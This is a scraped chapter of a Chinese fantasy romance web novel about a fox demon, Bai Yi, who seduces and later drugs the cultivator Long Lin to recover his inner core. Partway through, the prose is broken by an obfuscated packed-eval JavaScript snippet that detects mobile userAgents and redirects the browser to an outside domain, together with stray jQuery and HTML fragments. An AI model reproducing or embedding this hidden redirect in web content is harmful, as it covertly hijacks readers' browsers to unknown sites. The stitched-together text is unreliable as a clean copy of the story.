默认冷灰
24号文字
方正启体

9.出逃

作者:三风吟本书字数:K更新时间:
    龙霖的话让白亦摸不着头脑,一顿饭吃得心不在焉。等吃完,那人却丝毫没有要走的意思。白亦刚想收拾碗碟,手腕就被一把扣住。


    “放着,有人收拾。”龙霖牵着他往内室走,掌心温度烫得惊人。


    白亦盯着两人交握的手,直到被松开才回过神。龙霖忽然抬手捏了捏他支棱的狐耳:“你这耳朵和尾巴太碍事了,得收回去。”


    “我......”白亦耳朵抖了抖,丧气道,“不是我不想......”


    龙霖说:“得吸精气是吧。”


    话说完,白亦下巴突然被抬起。龙霖低头就吻了下来,惊得白亦尾巴炸毛,瞳孔瞪得滚圆。后颈被牢牢扣住,唇舌长驱直入,比想象中更凶。他腿一软,爪子无意识抓住龙霖前襟,连尾巴尖都绷直了。


    龙霖松开他时,白亦整张脸都红透了,唇瓣水润泛着光泽,眼神迷蒙得找不到焦点。他晕乎乎地靠在龙霖怀里,头顶的耳朵还支棱着,尾巴却无意识地缠上了对方的腰。


    “怎么还没收回去?”龙霖皱眉捏了捏他发烫的耳尖。


    白亦这才回过神——方才光顾着发愣,压根没吸取精气,光龙霖吸他口水了,他支支吾吾道:“可能……是量不够......”


    龙霖脸色顿时沉了下来,指腹重重擦过白亦红肿的下唇:“那怎么才够?”


    白亦想要的是他那颗内丹,这样短暂的相触只能吸取些龙息,终究不是长久之道,他想起自己把内丹给龙霖的时候,是趁着两人同房之际,可眼下这情形,龙霖怎么可能再与他同房。


    犹豫半晌,白亦硬着头皮道:“这点……是不够的,得要更亲密才行……双//修最好了。”


    白亦说完,面前的龙霖却不知道想到什么,脸色沉了沉,用无可救药的眼神看着白亦。


    “你们妖物难道整日里都是想着这些邪魔歪道,你难道就不可以自己靠着努力修炼。”


    白亦听着龙霖话里的鄙夷,想起的确有前辈为了捷径用些偏激的法子修炼,可是他从来没有用过,自己明明规规矩矩修炼了百年,怎么就被归作了一类?


    白亦声音发闷,为自己辩解:“不过是借了点精气......我没害人。”


    龙霖的眉头皱得更紧,周身气压低得吓人:“你一点反省之心都没有吗?你还是觉得你这样是对的?”


    白亦被他盯得发慌,半晌才挤出一句他错了的话,声音轻得像蚊子哼。


    可这显然没能让龙霖满意:“你其实心里没半点悔改之意吧。”


    龙霖欲转身离开,白亦连忙扯着他的袖子哀求道:“龙霖,我会改的,我以后不会再这样了。”


    龙霖的脊背挺得笔直,既没有推开他,也没有回应他。


    白亦心一横,踮起脚尖吻了上去,唇瓣相贴的瞬间,他故意放软了嗓音,带着蛊惑:“相公,别这样对我,我好想你……”


    可龙霖的眼神依旧清明,垂眸看他的样子仿佛在审视,白亦的吻越发炽热,却暖不化对方眼底的霜雪。


    白亦突然想起静竹当初讥诮的问话——“大道无情,龙霖走的是灭情绝爱之路,你凭什么觉得他会为你破戒?”


    心脏猛地抽痛起来,白亦眼泪猝不及防就滚了下来,烫得他脸颊生疼。


    他当然不确定。


    多少次午夜梦回,他也想干脆利落地拿了逆鳞远走高飞,什么都不要多想。


    可此刻的泪水不是为了算计落下的,纯粹是胸口那团郁结的酸楚太疼,疼得他不得不哭。


    他哭什么呢?


    他只是觉得难过罢了。


    他怎么能对龙霖动心?明明最初接近的目的那么明确,只是为那片逆鳞而来。他还有那么多未完成的事等着他去做。


    龙霖的指尖突然抚上他的脸颊,揩去那滴将落未落的泪,语气依旧冷淡:“哭什么?”


    “相公,你帮帮我好不好?”白亦的声音带着哭过后的哑,手上动作却大胆起来。他将龙霖推倒在床榻间,跨坐上去时衣摆散开如花瓣。


    唇舌先是在对方下唇流连,又顺着脖颈线条一路啃咬至喉结,感受着那处肌肤在齿间的微微颤动。手指灵巧地探入衣襟,沿着肌理分明的腹部缓缓下移。


    龙霖的目光始终落在虚空处,只在白亦碰到某个地方时稍稍偏开了头,呼吸乱了半分。


    床帐被扯得半落,烛火将两人的影子投在墙上,交叠成暧昧的形状。


    白亦今日穿了一件红衣,像极了当年洞房时的嫁衣,衣领滑落时露出小片雪白的肩头,在烛光下泛着莹润的光。


    这抹艳色落在龙霖眼里,恍惚间又回到那红烛高烧的喜房。


    白亦其实和龙霖亲近总有些胆怯的。


    他记得第一次时龙霖被龙性支配的模样,那双清明的眼睛布满欲念,将他死死按在锦被间。白亦的腿根都在发抖,悬在龙霖腰侧的足尖绷得发白,窗幔晃出的残影在他视线里碎成一片。


    哭哑了嗓子求饶也没用,龙霖要把他的魂魄都撞散了。


    而此刻龙霖是第一次清醒的。


    他能看清白亦每一寸泛红的肌肤,被泪水浸湿的睫毛,微微张着喘息的唇,像朵渴极了的花,颤抖着花瓣等他来采撷。


    可龙霖只是沉默地看着,仿佛眼前这具诱人的身体与他毫无干系:“……之前我们同房?”


    白亦脸颊烧得通红,声音细若蚊呐:“用的后面。”


    见龙霖不说话,白亦以为他是嫌弃自己是个男人,犹豫地道:“你若不喜欢……我可以像之前一样……也很舒服的……就像做了一场梦……”


    只是话音未落白亦就被猛地推开。


    龙霖脸色阴沉得可怕,修长的手指将散开的腰带重新系紧,动作带着压抑的怒意。


    白亦还不知道发生了什么,衣衫凌乱地跪坐在榻上,看着那道挺拔的身影转身欲走,慌忙扑上去抱住他的腰:“相公......你说过夫妻一体,不离不弃的,你不能走......”


    龙霖一根根掰开他紧扣的手指,还是走了,扔下一句:“…….白亦,收起你那些过往用在我身上的狐媚把戏。”


    空荡荡的房间里只剩下白亦一个人。


    他蜷缩在床角,抱着膝盖,烛火早已燃尽,窗外的月光冷冷地铺了一地,他就这样坐了一整夜,直到晨光熹微。


    心底最后那点侥幸也被碾得粉碎,龙霖果然还是容不下他。


    连续几日,龙霖再没来过。


    直到这天突然被一声震耳欲聋的巨响惊醒。他赤着脚跑出去,被飞扬的尘土呛得直咳嗽。待烟雾散去,只见原本固若金汤的索妖阵已经碎成齑粉,地上裂开一道狰狞的沟壑。


    怀曼叉腰站在废墟中央,身边立着个足有两米高的牛头妖,肌肉虬结的手臂抡着两个骇人的铁锤。


    白亦呆立在原地,看着阵法残骸上飘散的灵力余韵。


    “不是早说了我会来救你?”怀曼得意地挑眉,拍了拍牛头妖结实的胸膛,“这是我新找的相好。还愣着干什么?快出来啊。”


    白亦犹豫:“可我的内丹还在......”


    话未说完就被怀曼一把拽进草丛里躲起来。


    远处传来急促的脚步声,他屏住呼吸,看着龙霖和司晨出现在废墟前。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492889|168679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    龙霖的脸色比那日离开时还要难看,冲进院子的身影带着罕见的慌乱。不一会儿又疾步而出,竟一把揪住了司晨的衣领,手背青筋暴起,像是下一秒就要挥拳相向。


    白亦从没见过这样的龙霖,此刻却像头暴怒的凶兽。


    修为大减后,连狐狸的耳力都退化得厉害,白亦只能隐约看见两人嘴唇开合,却听不清内容。


    “他们在说什么?”他小声问。


    牛妖挠了挠角道:“好像是说要是抓到你,非要扒了你的狐狸皮。”


    白亦顿时打了个寒颤,手指不自觉地揪住自己的衣袖。


    “走......我们还是走吧。”


    怀曼道:“你不要你的内丹了?”


    白亦:“……我觉得这样也挺好的。”


    至少比变成一张血淋淋的狐皮强。


    那牛妖名叫昊焱,生得魁梧,一身腱子肉叫人害怕,偏生在怀曼面前连话都说不利索。


    昊焱对怀曼一见钟情,在她摊上买了一个月的豆腐,才结结巴巴地跟她说上了话,惹得怀曼笑弯了腰。


    如今三人在竹林安顿下来,他抡着斧头劈柴准备做饭。


    怀曼捏着颗野果抛接把玩,忽然伸手捞过白亦的尾巴揉了一把。


    那尾巴毛蓬蓬的,比最上等的狐裘还软,只是主人显然不乐意被这么逗弄,手忙脚乱地往衣摆里藏。


    “几百年了还是头回见你这么可爱,该不会永远变不回去了吧?”


    白亦那对狐耳动了动,尾巴在衣料下拱出起伏的轮廓。


    篝火噼啪作响,昊焱烤的野兔滋滋冒油。


    怀曼问白亦接下来打算怎么办。


    白亦吃得嘴角冒油,嘴巴鼓鼓的:“还是得把内丹拿回来。”


    “可那真龙身边时时都有神仙守着,”怀曼说,“你连近身都难。”


    白亦:“我知道他什么时候身边绝对没有神仙。”


    吃饱喝足后。


    昊焱施法将他的尾巴藏了起来,他这易容术最多能骗一骗凡人,但若撞上司命或司晨,怕是连个照面都撑不住。


    白亦趁着晨雾未散,混在采买的仆役里溜进后院。龙霖如今官运亨通,府邸比从前大了三倍不止。


    路过厨房时,两个婆子正凑在井边嚼舌根,说夫人这病不知道什么时候能好?大人最近都心神不宁的。


    他裹紧粗布衣裳,低头穿过回廊,直到浴房附近才恢复原形,轻巧地翻上屋檐。


    他变成原身蜷在阴影里等得昏昏欲睡,直到水声哗啦响起才猛地惊醒。


    白亦一下子就精神了,等到脚步声逐渐少了,他微微探出一只眼睛,就看见龙霖背对着他,脱得只剩一件中衣,再一看就进了浴桶里。


    白亦狐爪一弹,一缕淡紫色的迷香无声散开。


    龙霖的头渐渐低垂,靠在浴桶边缘一动不动。


    白亦身形一晃,化作人形,那条蓬松的狐尾无意识地在身后轻晃,尾尖扫过屏风,带起细微的声响。烛火将他的影子投在墙上,妖异而绮丽。


    他随手捞起龙霖搭在屏风上的外袍披在肩头,衣料上还残留着熟悉的冷松香。


    赤足踩在湿润的青砖上,每一步都轻得像猫。


    白亦蹲下身停在浴桶边,看着龙霖被水汽蒸得微红的脸庞,喉结不自觉地滚动。


    他凑过去,嘴唇几乎贴上对方的唇瓣,龙霖体内沉寂已久的内丹正被原主的气息牵引着缓缓苏醒。


    白亦大喜。


    就在内丹慢慢出来的刹那,龙霖骤然睁眼——那双本该迷蒙的眸子清明如寒潭,倒映着白亦瞬间惨白的脸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)